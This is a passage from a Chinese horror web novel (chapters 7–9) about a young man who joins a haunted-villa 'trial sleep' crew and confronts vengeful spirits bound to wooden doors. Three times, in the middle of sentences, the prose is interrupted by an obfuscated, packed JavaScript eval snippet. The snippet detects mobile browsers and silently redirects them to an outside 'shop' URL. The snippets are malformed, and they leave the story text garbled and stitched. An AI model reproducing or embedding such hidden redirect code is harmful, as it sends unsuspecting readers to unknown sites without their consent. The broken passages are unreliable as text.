从后院绕到前院,庞李祥掏出手机,对着聊天框输入密码,不一会智能锁应声而开,庞李祥像个主人家似的,大摇大摆往里走,开始使唤。 拉开电闸,开灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434421|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 别墅里面家具一应俱全,不过都落了一层灰,要真想住人,得好好打扫一番才行。庞李祥已经让三个小的开始干活了,自己往沙发上一座,打开保温杯就喝起了茶。 客厅打通了两层,非常大方的挑高显得屋子大气非凡,从一楼就能看见二楼的房间。大抵是主人家阔气,这么久了,水电燃气一个都还没停,对他们来说,这就省了很多事了。 白雾无所事事,坐在了旁边的小沙发上。 “你就不怕我是小偷?”白雾好奇问。 “小偷?”庞李祥大笑一声,“什么小偷往凶宅里钻?看这,有什么可偷的,不过你要是告诉我你的目的,当然我也乐意听。” 白雾继续编:“我是网络博主,来积累素材。” 庞李祥放下杯子,神情凝重:“网络博主啊。恐怖片里死的最快的就是你们这行,可得把你看好了。唉?你设备呢?” 白雾面不改色:“躲保安的时候掉了。” “那可惜了,岂不白来。” 白雾:“能进来就不是白来。” 庞李祥点头表示理解,没多问。 过了一会,白雾也坐不住了,站起身去帮忙打扫。 别墅早已被清理过,半点痕迹都找不着,要不是绑在裤腰的往生刀硌着他,他真要忘了这是个凶宅。 两个小时的时间,白雾和其他人一起将房子上上下下都收拾成了可以住人的样子,顺便也把布局摸了个透。 一楼是客厅、餐厅、厨房、客房、保姆房和花园,二楼是主卧、男孩房、书房、健身房和一个超大的露台。 和普通别墅没两样,许是白雾有些敏感,时不时闻到一丝若隐若现的血腥味,走着走着突然漫出来恶心你一下。 将入深夜,差不多该睡觉了。 几人分了房间,白雾自然融入其中。 庞李祥带着女儿睡主卧,张芡则是进了男孩房,莫田自然去了一楼的客卧,给白雾留了一间保姆房。 保姆的惨状浮于眼前,白雾在床边坐下都感觉屁股刺挠,心高高悬着。 无人可依,他只能隔着衣服布料,轻轻握了握腰间的刀,想着白筝在身边心才稍稍安定。 夜晚的别墅静谧非常,再如何细微的声音也会清楚的传进耳朵里。 他僵坐了很久,不敢挪动,也不敢真的睡着。直到屁股发疼他才站起身活动。 结果刚一起身,房门就被敲响了。 咚咚咚。 白雾心猛地一紧,恐惧感压缩着他的呼吸,无奈硬着头皮开口:“谁,谁啊。” 对方没有任何回复,而是直接开门走了进来。 是莫田。 白雾呼吸瞬间通畅。 莫田开口,是略带沙哑的少年音:“啊,抱歉。我只是想过来跟你一起睡。” “这,可以吗?你的房间……” 莫田:“本来师父给我安排的就是保姆房,那个房间不用管。” 白雾表面歉意,心里感激不尽:“是我占了你的房间吗?对不起。” 莫田反手关上门:“没事。两个人更安全。” “……好。”白雾不自然地坐下,轻轻拍了拍身边的位置,示意莫田也来坐。 莫田领了他的好意,坐在了白雾身边。 白雾扫了他一眼,这人穿着一身淡蓝色的宽松卫衣,带着棕色的眼镜,留了个狼尾发型,神情看不出是严肃还是面瘫,看起来比他师父要靠谱不少。 白雾目光往下一落……腿怎么在抖。 他小心翼翼开口问:“你害怕啊?” 谁曾想再一开口,莫田声音都在打颤,他抓着白雾的手臂就紧紧抱住:“我怕啊!” 陡然拔高的音调吓了白雾一跳。 莫田见白雾被他惊得浑身一颤,又连忙道歉:“对,对不起,我也是第一次来这种死过人的地方。” 白雾看着他。 朋友,你知不知道你抱着的是个什么东西。 说出来能吓死你。 诙谐的举动让他有点哭笑不得:“没事,我也是第一次。你要实在害怕,我保护你好了。” “你?”莫田看向他,看了许久,一言不发。 白雾被他盯得浑身不自在,谁知莫田忽然冒出来一句: “你其实不叫李雾,对吧。” 白雾一咯噔。 现在跑还来得及吗? 莫田又补了一句: “没关系,我也不叫莫田。” 说完,拽着他的手臂抱得更紧了。 7. 寻亲记 …… 莫田这人也挺直。都捅到这份上了,白雾自然不会对一个陌生人交底。 他思考片刻:“各有所求,那互相不妨碍就是了。” 莫田抿了抿嘴,看着他:“那你说的保护我,还作数吗?” 白雾苦着脸:“作数。” 莫田笑开了:“你真好!” 本来只有白雾一人坐在床边,现在变成了两个人。夜里十一点,两个人都不敢睡,故而压低声音小声闲聊起来,没想到意外的合拍。能在这种诡异的地方诡异的交了朋友这件事也是诡异至极。 有种泥潭中相伴的悲壮赴死感。 两个人很有默契,不多问,不试探,只是纯粹的聊天。白雾了解到莫田只比他大一岁,是个开朗性子,来自西边一个以自然风光著称的城市。 他无父无母,从小养在福利院,偶然被看中才跟了现在的师父。 不知不觉临近午夜十二点,莫田打了个哈欠,竟泛起困来:“怎么办……我平时一到这个时候就会晕过去……” “你确定你要在一个凶宅里晕过去?”白雾哑然。 谁知莫田抱着小毯子就往床上一倒,两腿伸直,瞬间没了动静。 “……还真是说睡就睡。” 算了,只要能叫醒就行。 白雾也把腿缩到了床上,冷空气不断从裤腿和袖口钻进身体,凉得他发颤。 他搓了搓手臂,望着冒出头的鸡皮疙瘩,拧眉纳闷:“怎么这么冷。” 搓着搓着,一股电流般的寒意从脚底直冲头顶,激得他坐直了身子。这感觉和那时保姆爬进泊灵馆的怪异感如出一辙,甚至强烈数倍,直觉告诉他怨灵就在附近。 他轻轻拉住莫田的手,感受着身边人的温暖以化解自己的僵硬。 环顾一圈后,白雾确认怪异感来自门外,他死死盯着房门,摸出纸条和铜钱紧紧攥在手里。 可是等了许久,门外一点动静也没有,好像一切只是他的错觉。 白雾犹豫一会,站起身,准备确认一番,大不了他砸了铜钱就跑。可就在他伸手去拧门把手的时候,熟睡的莫田突然开口。 “别碰。” 白雾回头,莫田依旧背对他躺着,一动也不动。 莫田:“你出不去。” 白雾惊疑:“你知道外面是什么?” 莫田没了下文。 白雾站在原地思索片刻,还是躺回了床上。 算了,要死也是两个人一起死。 门外迟迟没有动静,黑寂的空间里,独留他一双眼睛睁着,除了自己的呼吸声,好像什么也不存在。 啪嗒啪嗒啪嗒! 忽然,楼上传来一阵赤脚的奔跑声,从这头到那头。 白雾紧紧闭上了眼,咽了口唾沫,装死。 等脚步声消失,他轻轻往莫田那边挪了一点,眼里满是对莫田体质的羡慕。他用手指戳了戳对方,小声道:“喂,你还能说句话吗?” 对方已经睡死。 白雾无奈平躺着,盼着时间能快些走,而那股来自门外的怪异感依旧存在,简直腹背受敌。 他就这样一直熬到天蒙蒙亮,怪异感才终于消失。看来守了一整晚,门外的怨灵终于舍得走了。白雾长舒一口气,这才沉沉睡了过去。 没两个小时他就被摇醒了。 莫田趴在床边大喊:“起来吃早饭了!” 白雾以一种躺尸的姿势睁开眼,满脸憔悴,生无可恋。此刻,他感觉自己的怨气比怨灵还要重。 莫田:“你怎么不说话,昨晚发生什么事了?” 看来这人完全不记得。 白雾慢慢转动眼珠,看了他一眼:“没什么,我挺好,听见了,马上起。” 莫田:“你黑眼圈好重。” 白雾毫无感情:“传染病。” …… 白雾借了莫田的洗漱用品,简单收拾后来到餐厅。 张芡和庞笑笑在厨房里忙进忙出,既然要模拟日常生活,做饭自然是重中之重。 庞李祥坐在餐桌边打着电话,有说有笑,看起来精神倍加。白雾打了声招呼,走进餐厅,恰好张芡准备上楼取东西,白雾顺手接过她的锅铲,翻着锅里的煎饼。 一旁的庞笑笑转过身,声音轻柔:“我来吧,我爸爸只喜欢吃半熟的。” “哦,好。”白雾看了她一眼。 庞笑笑两眼无神,一晚过去精神比他还差,白雾有点不放心:“那你要帮忙随时叫我。” 庞笑笑:“好。” 白雾想问的话堵在嘴边又噎了回去。 没过多久,早饭上桌。庞李祥吭哧吭哧吃了起来,白雾没什么胃口,硬塞了个煎蛋进嘴里,每嚼一口他都觉得累。 忽然,耳边传来一阵压抑的反胃声。 坐在他对面的庞笑笑猛地捂住嘴巴,脸色痛苦,看向庞李祥。经庞李祥点头后,她才离席往厕所冲。 厕所传来呕吐的声音。 没过一会,庞笑笑回来了。庞李祥见她面色太差,开口问询:“不舒服吗?不舒服你回楼上躺着吧。” 庞笑笑使劲摇了摇头,勉强一笑。 白雾:“是不是昨晚被吓到了?” 庞李祥:“没有。” 顿了顿,庞笑笑也轻声道:“一切正常。” 这父女俩有点不对劲,白雾暗暗记下一笔。转头看向沉默的张芡,这人从头到尾话都少,扎了个高马尾,生着较有攻击性的五官,叫人不自觉疏离。 她抬眼见白雾的目光落在自己身上,随意丢了三个字:“睡得好。” 庞李祥顺势关心:“怎么,昨晚你房间发生什么了吗?” 白雾笑了笑:“我是见笑笑脸色不好,有些担心。” 庞李祥:“嗐,不用担心她,她肠胃不好,娇滴滴的,每天都要吃药。以前都舍不得带她出来干活,这不我也快退休了,现在年轻人就业难,想让她做我的老本行。” “况且,世界上哪有什么神神鬼鬼的,人死了就是死了,什么前世今生啊,信不得的。凶宅试睡也就是图个安慰,其实安全得很,从没出过事。唉,你昨晚没睡好吧?多吃点,等下想请你来一起帮个忙。” 白雾不做评价:“什么忙?” 庞李祥:“等下我们要各自开始活动,别墅太大了四个人不够用。我和笑笑还有张芡在二楼,你和莫田在一楼怎么样,花园客厅这两个空间分一分。好孩子帮个忙呗。” 莫田一言不发,握着筷子的手一抖。白雾想了想,接下了这个活。 “行。那我去花园吧,莫田留在客厅就好,安全一点。” 莫田肩膀明显一松,向他投来感激的眼神。 庞李祥手一拍:“那就这么定了。谢谢你啊,来,你多吃一点。” 白雾看着盘子里的早餐,只觉得再吃一口,怕是自己也要吐了。 …… 吃完饭,白雾拿着剪刀和小铁锹,按照约定来到花园里转悠。 怎么说也要待到午饭,得找点事做才行。 富人区的花园通常经过精心设计,可主人一去,杂草便疯长起来。白雾就充当半天的园丁,消耗时光也不错。他蹲在石子路上,拿着剪刀一点一点清理杂草,从前院到后院。 今天阳光很好,晒在身上给人一种妖魔鬼怪全离开的安全感。 白雾难得放松下来,投入劳作。许久过去,并无异样。偶尔还能听到墙外有人路过的交谈声,以及后山传来的鸟鸣。 世界活着,好像他也活着。白雾不自觉也贪恋起了当下片刻的时光。 他站起身,懒洋洋伸了个腰,竟有些犯困了。额头上沁出一层细汗,顺着额角滑落,他抬手抹了一把。 这一抹,余光突然瞥见一块不同寻常的石头。 这是一块山水石,立在已经干涸的池子里,应是用来造景。真正吸引他注意的,是石头上的污垢。 白雾走近仔细打量。 山水石上,深色的线条像蚯蚓般弯曲在石头上,从上到下,像是什么已经干涸的液体。 在这充满故事的别墅里,答案并不难猜。 他抬头看,二楼是通往主卧的露台。 白雾不愿细想,冷汗“唰”地又冒了出来,朝着后方的草丛连退几步。 偏偏就是这后退的几步,他的脚后跟在草丛中踩到了一个鼓包。 白雾转头,慢慢移开脚后跟。是泥土。 好奇心驱使他用铁锹轻轻将泥土翻开,翻出一个扁扁的大红色塑料袋。塑料袋里装的,是一篇折叠的日记。 20××年,10月20日,天气雨,心情【哭脸】 今天我偷偷看了一下电视,被爸爸发现了,我躲回房间锁了门,爸爸又变得像疯子一样。我害怕门会坏,爸爸却不害怕我会死。妈妈也永远是那样,听着我的哭声不说话。 我害怕爸爸,我讨厌妈妈。 我不想上学。 我好想离开这里,永远也不要回来了。 …… 看完,白雾头皮发麻。 也许是小男孩写下日记后害怕被发现于是埋在了后院,又或是其他原因让日记出现在这里。 白雾不经怀疑,引起这场惨剧的,究竟是怨灵还是人祸? 想到这,白雾有些毛骨悚然。读完日记后便赶忙埋了回去,用铁锹将泥土压了个严严实实。 “你在干嘛?” 紧握的铁锹差点脱手。 白雾回头,见莫田正朝他走来。 方才的惊吓和害怕都太过起伏,脸色一时没藏住,难看得明显。 白雾:“没事,我太累了。” 莫田:“累了就进去休息吧,换我来后院。里面太闷了,还是透气舒服。” 白雾:“你不害怕了?” 莫田:“那客厅太大了,呆久了瘆得慌,也不敢走动,万一撞见什么不可告人的就不好了。” 白雾一阵心虚:“那好,我回客厅。” 他把铁锹和剪刀递给莫田,却发现对方的手是虚虚抬着的,这一递,恰好递到对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434422|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方手里。 白雾佯装镇定,确认对方接稳后,对莫田嘴角抽搐般地笑了笑,转身落荒而逃。 回到客厅,迎面一阵凉风吹来,吹得他一哆嗦,回过神来才发现自己大汗淋漓,连骨头缝里都钻着凉意。 他头也不回瘫进了沙发里,算着时间离饭点也不久了。 厕所里传出冲水的声音,白雾看过去,见莫田从厕所里走了出来。 “你?”白雾愣住。 “我?”莫田更懵,“我怎么了?” 白雾:“你不是去后院了吗?” 莫田:“啊?我没有啊,我一直在客厅打游戏,刚才突然肚子疼才来上厕所。” “那外面那个是谁。”白雾突然意识到什么,喃喃道。 张芡听见动静,从二楼探出头:“你们在说什么?” 她难得蹦出一句话,楼下两人抬起头看她。 张芡看见白雾,顿时蹙眉:“你怎么在这?你不是说在院里摔了一跤,看见一楼厕所被占了要上楼冲洗吗?我看着你进的男孩房厕所。” 白雾彻底傻了:“我没有啊。” 三人面面相觑,同时意识到了事情的不对劲。 莫田默默举手,声音打着颤:“我刚才,看见师父下楼,说要去外面抽根烟……” 张芡立刻转身,敲响了主卧的门。咚咚两声过后,里面传来了庞李祥刚睡醒的声音。 “怎么了?没事别老叫我,我在休息。” 张芡没说话,转身又从二楼探出头,示意白雾莫田上楼去。 …… “所以你们是说,你们都碰见了一个多出来的人?”庞李祥琢磨一番。 张芡神情严肃:“是。” 庞李祥摸着胡渣:“哪有这种事……” 他垂眼沉默片刻,又突然抬起头:“你们看见笑笑没有?” 三人一齐摇头。 “笑笑身体不舒服,她说要去楼下客房躺着,你们没看见她吗?” 莫田:“我没看见第二个人从二楼下来。” 庞李祥脸色一变:“那人呢?!才这么一会儿的功夫,人能去哪?” 张芡冷静开口:“笑笑不是说要去楼下客房?那就去楼下看看吧。” 莫田有异议:“我觉得人应该不在一楼,我一直盯着呢,就算在厕所里我也竖着耳朵听脚步,刚才真没下楼的动静。” 张芡当机立断:“那我和师父去一楼,你们在二楼找找。” “好。”莫田点头,神情严肃。 见莫田这一反常态临危不乱的模样,白雾心里一沉。 庞李祥和张芡越过他们下楼了。 白雾站在原地,那股怪异感再次涌了上来,排山倒海,压得他脑子一片空白,身体像是被什么东西紧紧攥着,动弹不得。 心慌到嘴唇发白。 莫田转头一看:“你怎么了?没事吧?!” 白雾转向莫田,视线却直勾勾盯向主卧。 莫田也冲着主卧观望了一会,里面什么动静也没有。见白雾僵在原地一言不发,于是他只能咬咬牙壮胆,迈步朝里走。 “等一下!”白雾赶忙叫住他。 然而莫田已经进了门,他站在主卧门口上上下下环顾一圈,目光仔细扫过每个角落。什么也没有发生,正常得好像一切都是白雾的错觉。 莫田冲白雾喊:“我以为你胆子很大呢,看来今晚我得让你睡里面。快进来吧,你再不进来我也要腿软了。” 白雾一看,果然他裤腿又在抖。 他叹了一口气,从兜里摸出铜钱掐在手中,这才跟了进去。 危机感不但没有消失,反而愈发强烈,每走一步都像羊入虎口。 白雾踏进主卧的刹那,怪异感竟瞬间消失了。 他顿时像是被戏耍了一样观察起了四周。 主卧是个套间,往里走还有浴室和衣橱,房间里除了简单的家具外一干二净,空得让人发慌。 莫田把主卧里里外外都搜了个遍,没有庞笑笑的踪迹,想来也是,既然是庞李祥亲自目送庞笑笑出的门,人又怎么会在主卧。 白雾仍站在原地,总感觉哪里不太对。 他闭上了眼。 在主动关闭视觉的状态下,其他感官都会变得敏锐起来。 怪异感果然出现了。 在身后。 白雾睁开眼。 他知道怨灵在哪里了。 从昨晚第一次察觉到怨灵的存在开始,它似乎总在门的另一边。庞笑笑失踪,自己站在主卧外,而它在门内。现在他站在主卧里头,它在门外。 只有一种可能。 …… “砰!” 主卧的实木门突然猛地合上,风将白雾的头发掀起又落下,吹得他手一抖,铜钱“当啷”掉在了地上。 莫田闻声看过来,顿时后退三步,声音都劈了。 “李李李李雾,你身后!” 白雾僵硬转回头,看见了直立着“躺”在门上的庞笑笑。 8. 真假庞笑笑 庞笑笑正闭着眼,神情平静,好像只是一次普通的安眠。一眼过去并未受到外伤,恍惚间还以外她真的安然无恙。 可她的手腕、脖子正深深嵌进了门板里,整个人与木门融为一体,正在一点点被吞噬。 白雾定在了原地,喉咙里像噎了什么东西。 咚咚咚!咚咚咚! 门板突然剧烈震颤。 屋内两人同时听见了一声暴怒的怒吼:“给我死出来!” “开门!听见没有!” “你再不开门我拿菜刀砍死你信不信?!” “开门!” 咚咚咚!咚咚咚! “你有本事就臭里面一辈子不出来!你要是敢出来,我打死你!” 咚咚咚!咚咚咚!咚咚咚! “开门!” …… 狂怒的嘶吼持续了整整三分钟,白雾盯着疯狂上下打动的门把手,以及门上平静的庞笑笑。这声音并不熟悉,但白雾知道是谁。 来自这座别墅的男主人。 不说身处故事中的人,哪怕是局外人,也会被这疯子一般的砸门声震得心里发紧。 莫田着急忙慌将白雾拽远,不知不觉,两个人在恐惧中退到了墙角。白雾偏头一瞥,看见了大开着的露台门。 有退路。 可是,要救人。 是死是活,哪怕是任务失败也要救。若是成功斩杀怨灵,却依旧有人丧命,没人心里会踏实。 他下定决心,轻轻拨开莫田的手,义无反顾快步朝门走去。 他握住庞笑笑尚未被吞噬的手臂往外拉,可她纹丝不动。像一颗深深扎进门板里的树苗。 徒劳。 白雾松开手,转而弯腰捡起铜钱,死死攥紧。 要是连门带人一起送回池底,或许庞笑笑还有一线生机。 就在这时,莫田突然高声提醒:“小心!” 白雾抬头。 见门板上突出来一个木包,逐渐化成了头颅的形状,挨在庞笑笑的肩膀上。无数木手从门板上冲了出来,抓住她的四肢。又托起她消瘦的下巴,抬起脸朝向白雾,简直像在炫耀战果。 那颗木头张开嘴,嘴里是一片漆黑的空洞,然后,朝着庞笑笑的肩膀一口咬了下去。 “笑笑!”莫田大声呼喊,却不敢靠近。 白雾发觉了一点不对劲。 近处是恶心的咀嚼声,远处是莫田的尖叫。他来不及细想,将铜钱狠狠砸了出去。 那一瞬间,门上的男人似乎抬头看了他一眼。随后,有什么东西侵略了他的五感,夺走了他身体的控制权。 一瞬间太快,快到没人反应过来发生了什么,莫田的声音也戛然而止。身体好像被什么东西推了一把,眼睁睁看着离庞笑笑越来越远,紧接着是玻璃破碎的巨响,失重感铺天盖地。 白雾身体巨震两下,浑身一阵钝痛。 就那么一瞬间,他竟然从二楼露台坠了下来,重重摔在了草地上,正午的太阳刺得他睁不开眼。 莫田的哀嚎声冲破耳鸣传进了他混沌的脑袋里,偏头看,身旁全是玻璃残渣,铜钱可怜滚落在远处。 刚才他明明砸出了铜钱。可却在砸中前的一刹那,他和莫田被一股狂暴的力量直接从二楼掀了下来。 “怎么了?!是笑笑吗?”远处传来庞李祥的呼喊声,以及两道快速靠近的脚步声。 “你们怎么……啊啊啊啊啊啊!!!” 张芡颤声:“笑笑!” 笑笑? 白雾艰难撑起上半身,看向脚底,顿时瞪大了眼睛。 他的下方是干涸的山水池,半个小时前,那让自己毛骨耸立的山水石上正靠着一个人。 此时此刻,他终于反应过来那种不对劲是怎么回事了。 楼上看见的那个庞笑笑,没有黑眼圈,没有虚弱的气色,健康得反常。 而现在倒在干涸水池中的庞笑笑,面色惨白,头部重创,新的血迹顺着石面淌下,腿部还有鲜红的剐蹭伤。 楼上那个根本不是真正的庞笑笑。 真正的庞笑笑死了。 没人知道她是什么时候倒在这里的。 那刚才在楼上,怨灵所做的一切又说明什么呢?摆一个假人出来,一点一点吞噬干净,又将他和莫田送到了案发现场,发现了真正的死者。 就像是在撇清关系,告诉他们,庞笑笑不是死于怨灵之手一样。 白雾看向围着尸体的两个人。 庞李祥。 张芡。 庞李祥伸手去探着庞笑笑的鼻息和脉搏,随即趴在尸体上痛哭起来:“笑笑啊……笑笑啊!你睁眼看看爸爸!究竟是什么东西害死了你!” 张芡极其冷静:“我现在打救护车。” 庞李祥撕心裂肺,伤心到了绝处,嘴上却在阻拦:“你还敢叫救护车?我们本就是偷摸着进来的,事情一闹大,等着警察来抓人吗?!笑笑啊……爸爸就不该把你带过来,这别墅不对劲!!!” 张芡蹙眉,不予置评,转头看向白雾。 “你们还好吗?刚才发生了什么事?” 莫田高声痛叫:“真的有鬼!就在卧室门上,李雾冲过去之后就砰!的一下我们就从二楼摔下来了!李雾你怎么一点事都没有,快看看我是不是骨折了!” 白雾扫了一眼:“中气十足,应该没事。” 莫田:“我肯定是伤着了!我这辈子还没从这么高的地方摔下来过!” 白雾没理他。 这时,庞李祥阴恻恻转过头来,盯着白雾:“是你?” 白雾闻到了栽赃的味道:“我怎么了?” “在后院里活动的只有你,你还狡辩?一个网络博主?你进别墅究竟打的什么主意?!是不是冲我女儿来的?” 白雾哑口无言,辨无可辨,整个上午除了多出来的“莫田”外,的确只有他在后院呆过。 莫田小声开口:“如果人在二楼主卧,也能摔到后院啊,我俩不就……都看着我干嘛,我什么也没说。”他装作不经意间小声吐槽,实际让在场的人都听得一清二楚。 气氛尴尬了一瞬。 庞李祥立马改口:“左右这地方待不下去了,我们现在就走,带笑笑一起回家。” 说着,他抱着尸体腋下慢慢托了起来,然而张芡却往前一步,止住了庞李祥的动作:“师父,还是报个警比较好吧。我们是正常接受邀请来的这里,证据充足,警察不会乱抓人的。” 庞李祥一听,开始大喊大叫:“你个女的懂个屁!警察有几个干事的?最后反正都会不了了之的事情,能替你做主才是有鬼呢!” “啧。”张芡不再废话,抓臂、按身、抬脚往膝窝一踹,一套动作直接将庞李祥摁在了地上,“莫田,过来接着笑笑。” 庞李祥:“你做什么?!你杀人是不是?!我是你师父!” 张芡冷声道:“笑笑之事查不清,谁也别想走,我这是在为她做主。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434423|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又看向白雾:“你也一样。” 白雾站起身,拍了拍身上的灰:“我没想走。” 他转身将铜钱捡了回来。张芡看见了那枚铜钱,神情微顿,若有所思。 …… 几人一番折腾,将尸体放在了沙发上,寻了一床毯子盖着。 张芡就疑问简单说明:“在已经确定别墅里有非人之物存在的情况下,尸体最好放在人多且经常活动的地方,否则一具空壳很容易被别的东西穿走。” “另外,正常人不论是跳楼还是失足都会掉落在前方,能掉落在离建筑这么近的位置,只可能是被人从楼上扔下来的。” 她冷漠撇了一眼椅子上五花大绑,被堵住了嘴巴的师父。 “所以,谁都有嫌疑,谁也不准走。至于你们说的鬼……今天所有人都呆在客厅过夜,不用回房间了,四个人总比一个人安全。” 除了庞李祥,没人有异议。 因为庞李祥现在任何表达抗议的方式都被剥夺了。 客厅气氛死气沉沉,没人说话。白雾眼珠一转,举手提议道:“我想去洗洗。” 莫田警惕:“洗什么?你别跟我说你又要冲去干什么事。” 白雾:“之前不是说,我在后院摔了跤,要去二楼洗澡?” 莫田光是听到就要吓个半死:“网络博主果然都是莽夫。” 白雾:“不莽一下怎么确定能不能对付呢?” 张芡轻轻眯眼,沉思片刻,似乎是理解了白雾的意思:“那你去吧,自己掂量能回来就行,我们没有救人的义务。” 白雾:“行。” 他站起身,毫不犹豫上楼。 他故意落单,就是为了能和怨灵单独碰面。刚才的举动太明显,莫田许是对他的真实目的猜了个八九不离十。至于张芡,身手好,性格刚,分是非。 是他钦佩的那类人。 总之这两个“徒弟”看起来都不太像徒弟那么回事。 而他这个网络博主也不太像网络博主这回事似乎更加众所周知了。 人话:演都不演了。 白雾站在二楼走廊,左右看了一眼,最后他没有选择主卧,而是走向了男孩房的厕所。 他脱了鞋袜,光脚踩进淋浴间,将裤脚挽至大腿处,打开了浴室的花洒。不是真要洗澡,做做样子而已。 水雾氤氲,镜子和玻璃一片朦胧。白雾身处其中,闻着水汽的清香,微微放松。 他全神贯注盯着浴室门,左手铜钱,右手木刀,只要怨灵一出现,他就会立刻出手,这次不能再失误了。 可是,十分钟就这么过去了,白雾感到一丝无聊。 身处潮湿的环境,衣服被水汽浸得发黏,耳边除了水声只剩下楼下莫田的囔囔,不知道在高谈阔论些什么东西,一点值得警惕的异常也没有。 白雾看向蒙着水汽的窗,忽然想起妈妈留下的纸条上,那歪歪扭扭的笑脸。他抬起手,以窗做画布,在上面也落下了一个可爱的简笔笑脸。 凝视着两颗豆豆眼,他突然被自己逗笑了。 幼稚。 浴室里的水汽浓度不断增高,凝聚的水滴从豆豆眼上滑了下来,划出一道直线,一下子变得像是在哭。 白雾越看越怪,莫名起了鸡皮疙瘩,犹豫两秒,他抬手将笑脸抹掉了。 随着他紧贴玻璃的手掌滑动出现的,是一张贴在玻璃外的人脸。 笑着的、嘴角高高咧开的。 庞笑笑。 9. 怨灵窝 白雾反应十分迅速,握住窗把手狠狠往外一推。“砰”一声响,玻璃结结实实撞在了“庞笑笑”的额头上。 “庞笑笑”跌了下去,白雾将头探出窗外,只看到一个半空黑影,在落地之前消失了。 他马上关水,放下裤腿,穿鞋出门。 握住把手的那一瞬间他突然悟了,浴室……好像是玻璃门。 怨灵是不是附不上来。 搞了半天无法选中,白雾自己蠢得差点笑出来。 转念一想,既然木门上的怨灵没法靠近,那刚才出现的“庞笑笑”算什么。他站在门口,想起了昨晚那一阵不属于屋内任何人的脚步声。 一切的一切都指向另一个可能,这个别墅里,不止一个怨灵。 这是个怨灵窝。 白雾揣着这个结论走出房间,从栏杆处往下看,莫田正同张芡叨叨个不停。 “李雾直接冲上去!然后就砰地一声!我都没看清发生了什么就从露台上摔下去了!咱们真的见鬼了啊!它这回能把我们打飞,下回说不定更残暴,芡姐~要不,我们走吧。我真不想死在这。” 语气越来越窝囊。 还在演。 别墅的情况非同一般,再演下去怕是要出大问题。 于是白雾真诚向他们发问:“凶宅试睡?” 楼下的人齐刷刷朝上看,包括被绑在凳子上的庞李祥。 原本已经放弃挣扎的庞李祥又“呜呜呜”地叫了起来。 张芡:“网络博主?” 白雾:“……” 两人说了八个字,双方却都已心知肚明,意料之中。 莫田往沙发深处一缩,语调带上哭腔:“你们究竟在说什么?芡姐,你你你你,不是我师姐吗?” 这蠢样一摆,张芡语气软了下来:“我还是你师姐。” 莫田:“我以为你要抛下我了。” 白雾怜悯地看向庞李祥。这人眼睛瞪得溜圆,连呜呜都忘了嚎。真是收了两个好徒弟啊,没一个纯粹拜师的。 小小的别墅里,四个活人,四个阵营,四个目的,也真是奇观。 张芡再次抬头,突然一惊:“李雾!” 不用她说,白雾自已经察觉到了突然出现在身后的强烈的怪异感。而他身后正对着的,是男主人的书房门。 大意了。 他连回头的机会都没有,四肢瞬间被密密麻麻的木手缠死,将他完全制住,动弹不得。就算铜钱就握在手里也根本无济于事。 木手拖着他的身子朝后拉。白雾一想到嵌在门上的庞笑笑,背脊一阵发麻,当下只能拼尽全力抵抗。 可在力量的绝对压迫下,他连呼吸都变得艰难。转眼,他的脚后跟已经抵在了门板上。 “撑住!” 楼下传来张芡的呼喊。 只见她三步并作两步大跨上楼,单手撑着栏杆凌空一跃,直接从楼梯半路上跨到了白雾面前。她一把夺过白雾手中的铜钱,狠狠砸向木门。 铜钱触碰到木门的瞬间便死死贴在了门上,不断发出清脆的金属颤音,边缘荡出一圈又一圈的金波。千钧一发之际,木手停住了动作。 “蠢货,铜钱留着吃吗?”张芡一边嘴上不饶人一边将白雾从怨灵的怀抱中扯了出来。 白雾刚站稳,还没来得及道谢,地面突然剧烈摇晃起来。 几人眼前一黑,狂风呼啸的声音先一步灌进耳朵,紧接着是暴雨疯狂拍打窗户的声音。 白雾最先稳住,睁开眼。 这是回到池底了。 铜钱击中怨灵会将怨灵拉回池面,只是没想到会连人一起拉下来。 白雾气都没喘匀,眼看又要扎进下一个漩涡里。 他疲惫回头,眼前的景象赫然冲击着他的理智。 只见书房门上正趴着一个男人。手脚大开呈蜘蛛姿态,胸腹血肉和门板死死粘连,甚至能看见横在二者之间的血色肉丝。 他的双脚横在门顶,头颅则是倒垂在下。此时,男人的脑袋正旋转了一百八十度微微抬起,死死盯着白雾。 张芡也缓了过来,看向身侧同样身处池底的白雾,轻哼一声:“你果然不是普通人。” 白雾没力气回复。 她又转向门上的怨灵,满脸厌恶:“恶心东西。” 门上的男人将视线转到了张芡身上。他突然爆发出了嘶吼般的尖叫,声音刺进耳朵,白雾和张芡都是一阵牙齿发酸。 别墅内的所有木门突然同时被剧烈拍响,咚咚咚的声音不断从四面八方传来,听得人心里发慌。 